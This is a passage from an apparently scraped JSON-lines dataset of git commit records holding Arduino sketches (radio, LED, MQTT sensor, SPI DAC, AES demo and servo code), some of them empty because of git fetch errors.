GD.swap();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'contrib\/bargraph.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"6edc5f08c88ff260953d29c47ec4e2de17983a6a","subject":"Create nRF24L01PLUS.ino","message":"Create nRF24L01PLUS.ino","repos":"andrewlumley\/RFbulb,andrewlumley\/RFbulb","old_file":"nRF24L01-Interface\/nRF24L01PLUS.ino","new_file":"nRF24L01-Interface\/nRF24L01PLUS.ino","new_contents":"#include <SPI.h>\n\nint CSNpin = 10;\nint CEpin = 9;\nint IRQpin = 3;\n\nint function; \/\/1 is RX, 0 is TX\nbool packet = false;\n\nvoid setup() {\n RFsetup(\"RX\",33); \/\/initialize nRF24L01+ as RX with the address ending with \"33\"\n pinMode(13, OUTPUT);\n \/\/Serial.begin(57600);\n}\n\nvoid loop() {\n if (function == 0) { \/\/TX\n delay(1000);\n RFwrite(100);\n delay(100);\n if (packet == true) {\n int data;\n SPIsetup();\n digitalWrite(CSNpin, LOW);\n SPI.transfer(0x61); \/\/R_RX_PAYLOAD read\n data = SPI.transfer(0xff); \/\/read payload\n digitalWrite(CSNpin, HIGH);\n SPI.end();\n delayMicroseconds(20);\n clearSTATUS();\n delayMicroseconds(20);\n packet = false;\n \/\/ Do something with STATUS (data)\n \/\/Serial.print(\"Ack Received: \");\n \/\/Serial.println(data);\n }\n clearSTATUS();\n delayMicroseconds(20);\n clearTX();\n }\n if (function == 1) { \/\/RX\n RFlisten();\n \n if (packet == true) {\n digitalWrite(CEpin, LOW); \n \n if (digitalRead(13) == HIGH) {\n SPIsetup();\n SPIcommand2(0xa8,0x64); \/\/W_ACK_PAYLOAD write (100)\n SPI.end();\n }\n if (digitalRead(13) == LOW) {\n SPIsetup();\n SPIcommand2(0xa8,0x00); \/\/W_ACK_PAYLOAD write (0)\n SPI.end(); \n }\n \n int data;\n delayMicroseconds(20);\n SPIsetup();\n digitalWrite(CSNpin, LOW);\n SPI.transfer(0x61); \/\/R_RX_PAYLOAD read\n data = SPI.transfer(0xff); \/\/read payload\n digitalWrite(CSNpin, HIGH);\n SPI.end();\n delayMicroseconds(20);\n clearSTATUS();\n delayMicroseconds(20);\n digitalWrite(CEpin, HIGH);\n packet = false;\n Serial.println(data);\n if (data == 0) {\n digitalWrite(13, LOW);\n }\n if (data == 100) {\n digitalWrite(13, HIGH);\n }\n } \n }\n}\n\nvoid SPIsetup() {\n SPI.begin();\n SPI.setBitOrder(MSBFIRST);\n SPI.setClockDivider(SPI_CLOCK_DIV16);\n}\n\nvoid RFsetup(String mode, byte address) {\n pinMode(CSNpin, OUTPUT);\n pinMode(CEpin, OUTPUT);\n pinMode(IRQpin, INPUT);\n detachInterrupt(1);\n \n digitalWrite(CSNpin, HIGH); \/\/CSN is active low\n digitalWrite(CEpin, LOW); \/\/No RX or TX at this time\n \n SPIsetup();\n SPIcommand2(0x20,0x08); \/\/CONFIG write (power down)\n delayMicroseconds(200);\n \n if (mode == \"RX\") {\n function = 1;\n attachInterrupt(1, packet_received, FALLING); \/\/Interrupt for received packets\n SPIcommand2(0x20,0x3f); \/\/CONFIG write (power up & RX)\n delayMicroseconds(50);\n SPIcommand6(0x30,address,0xb6,0xb5,0xb4,0xb3); \/\/TX_ADDR write (0xB3B4B5B6__)\n delayMicroseconds(50);\n SPIcommand6(0x2a,address,0xb6,0xb5,0xb4,0xb3); \/\/RX_ADDR_P0 write (0xB3B4B5B6__)\n }\n if (mode == \"TX\") {\n function = 0;\n attachInterrupt(1, packet_received, FALLING); \/\/Interrupt for received ack packets\n SPIcommand2(0x20,0x3e); \/\/CONFIG write (power up & TX with payload IRQ)\n delayMicroseconds(50);\n SPIcommand2(0x21,0x01); \/\/EN_AA write (enable P0)\n delayMicroseconds(50);\n SPIcommand2(0x24,0x23); \/\/SETUP_RETR write (enable 750us delay)\n delayMicroseconds(50);\n SPIcommand6(0x30,address,0xb6,0xb5,0xb4,0xb3); \/\/TX_ADDR write (0xB3B4B5B6__)\n delayMicroseconds(50);\n SPIcommand6(0x2a,address,0xb6,0xb5,0xb4,0xb3); \/\/RX_ADDR_P0 write (0xB3B4B5B6__)\n }\n\n delayMicroseconds(50);\n SPIcommand2(0x22,0x01); \/\/EN_RXADDR write (enable P0)\n delayMicroseconds(50);\n SPIcommand2(0x3d,0x06); \/\/FEATURE write (enable EN_ACK_PAYLOAD and EN_DPL) \/\/\n delayMicroseconds(50);\n SPIcommand2(0x3c,0x01); \/\/DYNPD write (enable DPL_P0) \/\/\n delayMicroseconds(50);\n SPIcommand2(0x31,0x01); \/\/RX_PW_P0 write (1 byte RX width)\n delayMicroseconds(50);\n SPIcommand2(0x25,0x32); \/\/RF_CH write (channel 50)\n delayMicroseconds(50);\n SPIcommand2(0x26,0x22); \/\/RFSETUP write (250kbps & -12dBm)\n delayMicroseconds(50); \n SPIcommand2(0x27,0x7e); \/\/STATUS write (Interrupts Clear)\n SPI.end(); \n}\n\nvoid RFwrite(byte command) {\n SPIsetup();\n SPIcommand2(0xa0,command); \/\/W_TX_PAYLOAD write (Payload)\n SPI.end();\n digitalWrite(CEpin, HIGH);\n delayMicroseconds(15);\n digitalWrite(CEpin, LOW);\n}\n\nvoid RFlisten() {\n digitalWrite(CEpin, HIGH);\n}\n\nvoid packet_received() {\n packet = true;\n}\n\nvoid readSTATUS() {\n SPIsetup();\n SPIcommand2(0x07,0xff); \/\/STATUS read\n SPI.end();\n}\n\nvoid clearSTATUS() {\n SPIsetup();\n SPIcommand2(0x27,0x7e);\n SPI.end(); \n}\n\nvoid clearRX() {\n SPIsetup();\n SPIcommand(0xe2);\n SPI.end(); \n}\n\nvoid clearTX() {\n SPIsetup();\n SPIcommand(0xe1);\n SPI.end(); \n}\n\nvoid SPIcommand(byte command) {\n digitalWrite(CSNpin, LOW);\n SPI.transfer(command); \/\/command\n digitalWrite(CSNpin, HIGH);\n}\n\nvoid SPIcommand2(byte command, byte value) {\n digitalWrite(CSNpin, LOW);\n SPI.transfer(command); \/\/register write command\n SPI.transfer(value); \/\/register value\n digitalWrite(CSNpin, HIGH);\n}\n\nvoid SPIcommand6(byte command, byte value1, byte value2, byte value3, byte value4, byte value5) {\n digitalWrite(CSNpin, LOW);\n SPI.transfer(command); \/\/register write command\n SPI.transfer(value1); \/\/register value 1\n SPI.transfer(value2); \/\/register value 2\n SPI.transfer(value3); \/\/register value 3\n SPI.transfer(value4); \/\/register value 4\n SPI.transfer(value5); \/\/register value 5\n digitalWrite(CSNpin, HIGH);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nRF24L01-Interface\/nRF24L01PLUS.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"13dccc8635f46aba750bb589a5dc1aa50bbd6a8e","subject":"Manufacturer specifications on HC-SR04","message":"Manufacturer specifications on HC-SR04\n\nThe manufacturer recommends at least a 10 microsecond High value on the trigger pin of the HC-SR04 in order to inititate the ultrasonic chirp used for range finding (distance sensing).","repos":"SumoRobotLeague\/MRK-1_Misc,SumoRobotLeague\/MRK-1_Misc","old_file":"Testing the Board\/Test_Ultrasound\/Test_Ultrasound.ino","new_file":"Testing the Board\/Test_Ultrasound\/Test_Ultrasound.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Testing' did not match any file(s) known to git\nerror: pathspec 'the' did not match any file(s) known to git\nerror: pathspec 'Board\/Test_Ultrasound\/Test_Ultrasound.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ad5d33dca9d41f72d5866a07dc0f7048b03d84ab","subject":"Create repeating_block_pattern.ino","message":"Create repeating_block_pattern.ino","repos":"marmilicious\/FastLED_examples","old_file":"repeating_block_pattern.ino","new_file":"repeating_block_pattern.ino","new_contents":"\/\/***************************************************************\n\/\/ Repeting block pattern example\n\/\/\n\/\/ There is a check to make sure we don't try to write data to\n\/\/ pixels that don't exist because the causes bad things to\n\/\/ happen.\n\/\/\n\/\/ Marc Miller, July 2017\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32\n#define BRIGHTNESS 50\nCRGB leds[NUM_LEDS];\n\nuint8_t blockSize = 5; \/\/ number of pixels to light up in a block\nuint16_t wait = 200; \/\/ delay time\n\nuint8_t count; \/\/ used to keep track of what block to light up.\nuint16_t loopStart = 0;\nuint16_t loopEnd = blockSize;\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(1500); \/\/ startup delay for recovery\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLOCK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear(); \/\/ clear strip data\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n loopStart = count * blockSize;\n loopEnd = blockSize + count*blockSize;\n\n \/\/ Trying to write data to pixels that don't exit is bad.\n \/\/ Check to make sure we are still within our NUM_LEDS range\n \/\/ and clamp to NUM_LEDS if needed.\n if (loopEnd > NUM_LEDS) { loopEnd = NUM_LEDS; } \/\/ limit maximum to NUM_LEDS\n \n uint8_t hue = random8(); \/\/ for fun, pick a new color for each block\n for(uint16_t i=loopStart; i < loopEnd; i++) {\n leds[i] = CHSV( hue, 255, 255 );\n }\n FastLED.delay(wait);\n\n for(uint16_t i=loopStart; i < loopEnd; i++) {\n leds[i] = CRGB::Black;\n }\n\n count++; \/\/ increase count by one\n \/\/ reset count if we have come to the end of the strip \n if ((count * blockSize) >= NUM_LEDS) { count = 0; }\n\n EVERY_N_SECONDS(5){\n blockSize = random8(2,9); \/\/ for fun, pick a new random block size\n }\n\n}\/\/end_main_loop\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'repeating_block_pattern.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"27bbedd91a8c23d59bcb2cbc4784f3f966442d07","subject":"Create Blink.ino","message":"Create Blink.ino","repos":"jpvlsmv\/embeddedtesting","old_file":"src\/Blink\/Blink.ino","new_file":"src\/Blink\/Blink.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n This example code is in the public domain.\n *\/\n\nvoid setup() {\n \/\/ initialize the digital pin as an output.\n \/\/ Pin 13 has an LED connected on most Arduino boards:\n pinMode(13, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(13, HIGH); \/\/ set the LED on\n delay(1000); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ set the LED off\n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"746698a6c81badf783bea52af374529cda695ab6","subject":"Temperature over MQTT","message":"Temperature over MQTT\n","repos":"theapi\/denbit,theapi\/denbit","old_file":"examples\/Projects\/TemperatureMQTT\/TemperatureMQTT.ino","new_file":"examples\/Projects\/TemperatureMQTT\/TemperatureMQTT.ino","new_contents":"\/*\n Temperature sensor over MQTT\n\n mosquitto_sub -i foo -t temperature\n*\/\n\n\/\/ Set the WiFi access details\n#define WIFI_SSID \"*****\"\n#define WIFI_PASS \"*****\"\n\/\/ Set the MQTT server details\n#define MQTT_SERVER \"*****\"\n#define MQTT_PORT 1883\n\n#include <ESP8266WiFi.h>\n\/\/ From the libray manager\n#include <PubSubClient.h>\n\n\/\/ Include the Denbit library.\n#include <Denbit.h>\n\/\/ Initialize the denbit.\nDenbit denbit;\n\n\n\n\/\/ Assign readable names to the led pin numbers\nconst int ledRed = 15;\nconst int ledGreen = 14;\nconst int ledBlue = 10;\n\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASS;\n\nconst char* mqtt_server = MQTT_SERVER;\nuint16_t mqtt_port = MQTT_PORT;\n\n\/\/ Generally, you should use \"unsigned long\" for variables that hold time\n\/\/ The value will quickly become too large for an int to store\nunsigned long previousMillis = 0; \/\/ will store last time the temperature was updated\n\n\/\/ How long to wait before temperature readings.\nconst long interval = 5000;\n\nchar msg[30];\n\n\nWiFiClient espClient;\nPubSubClient client(espClient);\n\nvoid setup() {\n Serial.begin(115200);\n \/\/Serial.setDebugOutput(true);\n\n WiFi.begin(ssid, password);\n Serial.println(\"Connecting\");\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n client.setServer(mqtt_server, mqtt_port);\n}\n\nvoid reconnect() {\n \/\/ Loop until we're reconnected\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n \/\/ Attempt to connect\n if (client.connect(\"ESP8266Client\")) {\n Serial.println(\"connected\");\n \/\/ Once connected, publish an announcement...\n client.publish(\"temperature\", \"hello world\");\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\n\/**\n Do a bunch of mathmatics on the voltage reading from the sensor.\n\n @see http:\/\/playground.arduino.cc\/ComponentLib\/Thermistor2\n*\/\ndouble thermistor(int raw_adc) {\n double temp;\n temp = log(10000.0 * ((1024.0 \/ raw_adc - 1)));\n temp = 1 \/ (0.001129148 + (0.000234125 + (0.0000000876741 * temp * temp )) * temp );\n temp = temp - 273.15; \/\/ Convert Kelvin to Celcius\n\n return temp;\n}\n\nvoid loop() {\n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n\n unsigned long currentMillis = millis();\n if (currentMillis - previousMillis >= interval) {\n \/\/ save the last time the temperature was read\n previousMillis = currentMillis;\n double temperature = thermistor(analogRead(A0));\n \/\/ Convert the number to a string to 1 decimal place.\n String str = String(temperature, 1);\n str += \"\u00b0C\";\n str += \" : \";\n str += WiFi.localIP().toString();\n str.toCharArray(msg, 30);\n Serial.print(\"Publish message: \");\n Serial.println(str);\n client.publish(\"temperature\", msg);\n\n if (temperature > 25) {\n \/\/ Red\n digitalWrite(ledRed, HIGH);\n digitalWrite(ledGreen, LOW);\n digitalWrite(ledBlue, LOW);\n } else if (temperature > 20) {\n \/\/ Green\n digitalWrite(ledRed, LOW);\n digitalWrite(ledGreen, HIGH);\n digitalWrite(ledBlue, LOW);\n } else {\n \/\/ Blue\n digitalWrite(ledRed, LOW);\n digitalWrite(ledGreen, LOW);\n digitalWrite(ledBlue, HIGH);\n }\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Projects\/TemperatureMQTT\/TemperatureMQTT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"18f47d7d2c849082285ce62b831e615502af9852","subject":"Added files via upload","message":"Added files via upload","repos":"LukeB89\/LamBotics-Final-Codes","old_file":"NEOPIXLE.ino","new_file":"NEOPIXLE.ino","new_contents":"#include \"FastLED.h\"\n#include \"String.h\"\n\n\/\/ How many leds in your strip?\n#define NUM_LEDS 16\n\n\/\/ For led chips like Neopixels, which have a data line, ground, and power, you just\n\/\/ need to define DATA_PIN. For led chipsets that are SPI based (four wires - data, clock,\n\/\/ ground, and power), like the LPD8806 define both DATA_PIN and CLOCK_PIN\n#define DATA_PIN 3\n\/\/#define CLOCK_PIN 13\n\n\/\/ Define the array of leds\nCRGB leds[NUM_LEDS];\nchar* color;\nchar incomingByte[11]; \/\/ for incoming serial data\n\nvoid setup() \n{ \n Serial.begin(57600);\n FastLED.addLeds<NEOPIXEL, DATA_PIN>(leds, NUM_LEDS);\n \n \n}\n\nvoid loop() \n{ \nif (Serial.available() > 0) \n{\n inc = 0;\n \/\/ read the incoming byte:\n Serial.readBytes(incomingByte,11);\n char* command = strtok(incomingByte, \":\");\n while (command != 0)\n {\n color = command;\/\/atoi(command);\n command = strtok(0,\":\");\n\n }\n \n\n \n \/\/ say what you got:\n Serial.print(\"R: \");\n Serial.println(color);\n}\n\/\/Serial.readBytes(11\nFastLED.setBrightness(255);\n\nfor (int x = 0; x < NUM_LEDS; x++)\n{\n leds[x] = strtoul(color, NULL, 16);\n}\n\nFastLED.show(); \n}\n \n \n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'NEOPIXLE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"20e7d3c7eaac714ed77ce227dbabd3d3a490456b","subject":"Updated to use the standard LCD library.","message":"Updated to use the standard LCD library.\n\nReplaced the LCD4bit_mod library with the standard Arduino LiquidCrystal\nlibrary. Quite a bit faster and more convenient overloads.\n","repos":"adamjacobsus\/Thermostat,adamjacobsus\/Thermostat","old_file":"WallPanel\/WallPanel.ino","new_file":"WallPanel\/WallPanel.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/adamjacobsus\/Thermostat.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cac6abae9384ce8219f317629d7eb4abaf6640e4","subject":"Checking out 08\/10\/2014","message":"Checking out 08\/10\/2014\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"New World Order\/_ard\/Thunderstorm.ino","new_file":"New World Order\/_ard\/Thunderstorm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"65628839887e849ac35b7c22ce5fc84c83f6e98b","subject":"add example code","message":"add example code\n","repos":"pylonman\/DueFastDIO","old_file":"examples\/blink\/blink.ino","new_file":"examples\/blink\/blink.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/pylonman\/DueFastDIO.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"18625ac21bee53a804f3fb152eeb7ae8418305e0","subject":"Add PrintTemp Example","message":"Add PrintTemp Example\n\nThis example show an example to use the TPA81 library and print all temperature reading from the sensor.\n","repos":"ilhamadun\/TPA81","old_file":"examples\/PrintTemp\/PrintTemp.ino","new_file":"examples\/PrintTemp\/PrintTemp.ino","new_contents":"#include <Wire.h>\n#include <TPA81.h>\n\n\/\/ Create new TPA81 instance\nTPA81 tpa;\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ You need to begin the Wire library to use TPA81 library\n Wire.begin();\n}\n\nvoid loop() {\n \/\/ Print temperature light\n Serial.print(tpa.getAmbient());\n Serial.print(\" \");\n\n \/\/ Print all temperature point\n for (int i = 1; i <= 8; i++)\n {\n Serial.print(tpa.getPoint(i));\n Serial.print(\" \");\n }\n Serial.println(\"\\n\");\n \n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/PrintTemp\/PrintTemp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a3fd492050f1816b0ca98c19e7958d9706e0ded1","subject":"HTTPS Cconnection","message":"HTTPS Cconnection\n","repos":"jadalqui\/ha_arduino,jadalqui\/ha_arduino","old_file":"ha_esp32\/ha_esp32.ino","new_file":"ha_esp32\/ha_esp32.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jadalqui\/ha_arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"db161d7207182b90aad5dc317ed1e77c61fbc85c","subject":"DAC drives motor via SPI","message":"DAC drives motor via SPI\n","repos":"jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano","old_file":"Elcano_C2_MotorSPI2\/Elcano_C2_MotorSPI2.ino","new_file":"Elcano_C2_MotorSPI2\/Elcano_C2_MotorSPI2.ino","new_contents":"\/*\n Elcano Contol Module C2: Instrument panel controls and LEDs.\n This routine handles simple drive-by-wire, as well as handing control over to the\n computer based on the state of the enable switches.\n *\/\n\n\n#include <IO_PCB.h>\n\n\n\/\/ inslude the SPI library:\n#include <SPI.h>\n\/*---------------------------------------------------------------------------------------*\/\nvoid setup()\n{\n \/\/Set up pin modes and interrupts, call serial.begin and call initialize.\n Serial.begin(9600);\n \n \/\/ SPI: set the slaveSelectPin as an output:\n pinMode (SelectAB, OUTPUT);\n pinMode (SelectCD, OUTPUT);\n pinMode (10, OUTPUT);\n SPI.setDataMode( SPI_MODE0);\n SPI.setBitOrder( MSBFIRST);\n \/\/ initialize SPI:\n PRR0 &= ~4; \/\/ turn off PRR0.PRSPI bit so power isn't off\n SPI.begin(); \n for (int i = 0; i < 4; i++)\n DAC_Write (i, 0); \/\/ reset did not clear previous states\n \n\/\/ Serial.println(SS);\n\/\/ Serial.println(MOSI);\n\/\/ Serial.println(MISO);\n\/\/ Serial.println(SCK); \n\/\/ Serial.println(SPSR);\n\/\/ Serial.println(SPCR);\n\/\/ Serial.println(DDRB);\n\/\/ Serial.println(\"SPSR=%x SPCR=%x\\n\", SPSR, SPCR); \n}\n\n\/*---------------------------------------------------------------------------------------*\/\n\/*---------------------------------------------------------------------------------------*\/ \n\/\/ WheelRev is called by an interrupt.\n\/*\nvoid WheelRev()\n{\n static unsigned long OldTick = 0;\n unsigned long TickTime;\n unsigned long WheelRevMicros;\n TickTime = micros();\n if (OldTick == TickTime)\n return;\n if (OldTick <= TickTime)\n \tWheelRevMicros = TickTime - OldTick;\n else \/\/ overflow\n \tWheelRevMicros = TickTime + ~OldTick;\n SpeedCyclometer_degPs = (360 * MEG) \/ WheelRevMicros;\n OldTick = TickTime;\n}\n*\/\n\/*---------------------------------------------------------------------------------------*\/\nvoid loop()\n{\n\n\/* To do:\nUse SPI interface to output signal to motor.\n\nInitial test will look at the voltage on this pin. \nMay 10, 2013 TCF: Observed ramp on all four DAC output pins.\nOn PCB #1\nRamp on DAC channel A (IC2 pin 8) is seen on DB15 X3-12\nChannel A is the output to motor, and is the only DAC channel currently used.\nRamp on DAC channel B (IC2 pin 6) is seen on DB15 X3-13\nRamp on DAC channel D (IC3 pin 6) is seen on DB9M X5-3\n\nNo ramp is seen on DB9F X4-3. There is no continuity between IC3 pin 8 and X4-3.\n\nOnly after it looks good, do we attach the DB15 cable to drive the motor.\n \n*\/\n \/\/ go through the four channels of the digital analog converter:\n for (int channel = 0; channel < 4; channel++)\n { \n \/\/ change the voltage on this channel from min to max:\n for (int level = 0; level < 255; level++) \n {\n DAC_Write(channel, level);\n delay(100);\n }\n \/\/ wait a second at the top:\n delay(1000);\n \/\/ change the voltage on this channel from max to min:\n for (int level = 0; level < 255; level++) \n {\n DAC_Write(channel, 255 - level);\n delay(100);\n }\n } \n\n}\n\/*---------------------------------------------------------------------------------------*\/\n\n\nvoid DAC_Write(int address, int value)\n\/\/ address: 0 for chan A; 1 for chan B; 2 for chan C; 3 for chan D\n\/\/ value: digital value converted to analog voltage\n\/\/ Output goes to mcp 4802 DAC\n\/\/ No input\n\/*\nREGISTER 5-3: WRITE COMMAND REGISTER FOR MCP4802 (8-BIT DAC)\nA\/B \u2014 GA SHDN D7 D6 D5 D4 D3 D2 D1 D0 x x x x\nbit 15 bit 0\n\nbit 15 A\/B: DACA or DACB Selection bit\n 1 = Write to DACB\n 0 = Write to DACA\nbit 14 \u2014 Don\u2019t Care\nbit 13 GA: Output Gain Selection bit\n 1 = 1x (VOUT = VREF * D\/4096)\n 0 = 2x (VOUT = 2 * VREF * D\/4096), where internal VREF = 2.048V.\nbit 12 SHDN: Output Shutdown Control bit\n 1 = Active mode operation. VOUT is available. \n 0 = Shutdown the selected DAC channel. Analog output is not available at the channel that was shut down.\n VOUT pin is connected to 500 k (typical)\nbit 11-0 D11:D0: DAC Input Data bits. Bit x is ignored.\n\n\nWith 4.95 V on Vcc, observed output for 255 is 4.08V.\nThis is as documented; with gain of 2, maximum output is 2 * Vref\n\n*\/\n\n{\n int byte1 = ((value & 0xF0)>>4) | 0x10; \/\/ acitve mode, bits D7-D4\n int byte2 = (value & 0x0F)<<4; \/\/ D3-D0\n if (address < 2)\n {\n \/\/ take the SS pin low to select the chip:\n digitalWrite(SelectAB,LOW);\n if (address >= 0)\n { \n if (address == 1)\n byte1 |= 0x80; \/\/ second channnel\n SPI.transfer(byte1);\n SPI.transfer(byte2);\n \/\/ Serial.print(byte1); Serial.print(\", \");\n \/\/ Serial.println(byte2);\n }\n \/\/ take the SS pin high to de-select the chip:\n digitalWrite(SelectAB,HIGH);\n }\n else\n {\n \/\/ take the SS pin low to select the chip:\n digitalWrite(SelectCD,LOW);\n if (address <= 3)\n {\n if (address == 3)\n byte1 |= 0x80; \/\/ second channnel\n SPI.transfer(byte1);\n SPI.transfer(byte2);\n }\n \/\/ take the SS pin high to de-select the chip:\n digitalWrite(SelectCD,HIGH);\n }\n}\n\/*---------------------------------------------------------------------------------------*\/\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Elcano_C2_MotorSPI2\/Elcano_C2_MotorSPI2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"764d12606260b8014f0a4b35ca3c8520c03269b9","subject":"Se agrega prueba de encriptado AES_CBC para el nodo central","message":"Se agrega prueba de encriptado AES_CBC para el nodo central\n","repos":"udistrital\/parqueaderos,udistrital\/parqueaderos,udistrital\/parqueaderos,JorgeUlises\/parqueaderos,udistrital\/parqueaderos,JorgeUlises\/parqueaderos,udistrital\/parqueaderos,JorgeUlises\/parqueaderos,JorgeUlises\/parqueaderos,udistrital\/parqueaderos,udistrital\/parqueaderos","old_file":"src\/AES_prueba\/aes.ino","new_file":"src\/AES_prueba\/aes.ino","new_contents":" \/*\n * Esta utiliza la biblioteca https:\/\/github.com\/DavyLandman\/AESLib\n *\/\n\n#include <Arduino.h>\n#include <AESLib.h>\n\nconst int BlockSize = 16;\n\nvoid setup()\n{\n \/\/ Usage example for AES256:\n Serial.begin(57600);\n uint8_t key[] = {111, 109, 97, 114, 108, 101, 111, 110, 97, 114, 100, 111, 122, 97, 109, 98};\n char data[] = \"HelloWorldHolaMu\";\n \/\/Serial.println(strlen(data));\n uint8_t iv[] = {97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112};\n \n aes128_cbc_enc(key, iv, data, strlen(data));\n \/\/Serial.println(sizeof(data));\n Serial.print(\"encrypted:\");\n Serial.println(data);\n for (int i=0; i<sizeof(data);i++)\n {\n \/\/int x =int(data[i]);\n uint8_t x = uint8_t(data[i]);\n Serial.print(x);\n Serial.print(\" \");\n }\n Serial.println(\"\"); \n \n aes128_cbc_dec(key, iv, data, strlen(data));\n Serial.print(\"decrypted:\");\n Serial.println(data);\n Serial.print(\"iv:\");\n for (int i=0; i<sizeof(iv);i++)\n {\n Serial.print(char(iv[i]));\n }\n Serial.println(\"\"); \n}\n\nvoid loop()\n{\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/AES_prueba\/aes.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"4b4b6d12ac190e03d6854740cb9b68301b5ae8e6","subject":"Sketch f\u00fcr D1 MINI","message":"Sketch f\u00fcr D1 MINI","repos":"bencarp\/EsySHLS","old_file":"simple_servo\/sketch_schalter.ino","new_file":"simple_servo\/sketch_schalter.ino","new_contents":"\n#include <Servo.h>\n\nServo servosg90;\nint ledPingruen = 15;\nint ledPinrot = 13;\n\n\/\/button\nint inPin = 12; \/\/ pushbutton connected to digital pin 7\nint val = 0; \/\/ variable to store the read value\n\/\/button end\n\nvoid setup()\n\n{\npinMode(ledPingruen, OUTPUT);\npinMode(ledPinrot, OUTPUT);\n\nservosg90.attach(14);\n\n\n\/\/button\n pinMode(inPin, INPUT_PULLUP); \/\/ sets the digital pin 7 as input\n\n Serial.begin(9600);\n\/\/button end\n\n\n}\n\n \nvoid loop()\n\n{\n \/\/button\n val = digitalRead(inPin); \/\/ read the input pin\n \/\/digitalWrite(ledPin, val); \n\n Serial.println(val); \/\/ debug value\n delay(100);\n \/\/button end\n\n\n \n digitalWrite(ledPingruen, 1);\n\n\n if(val==0){\n\n digitalWrite(ledPingruen, 0);\n digitalWrite(ledPinrot, 1);\n servosg90.write(0);\n\n delay(500);\n\n servosg90.write(120);\n\n \n delay(500);\n digitalWrite(ledPinrot, 0);\n digitalWrite(ledPingruen, 1);\n\n}}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'simple_servo\/sketch_schalter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dbcb61f1dcba5cc4ad77e22569dbe084c3422566","subject":"Add remote control sketch","message":"Add remote control 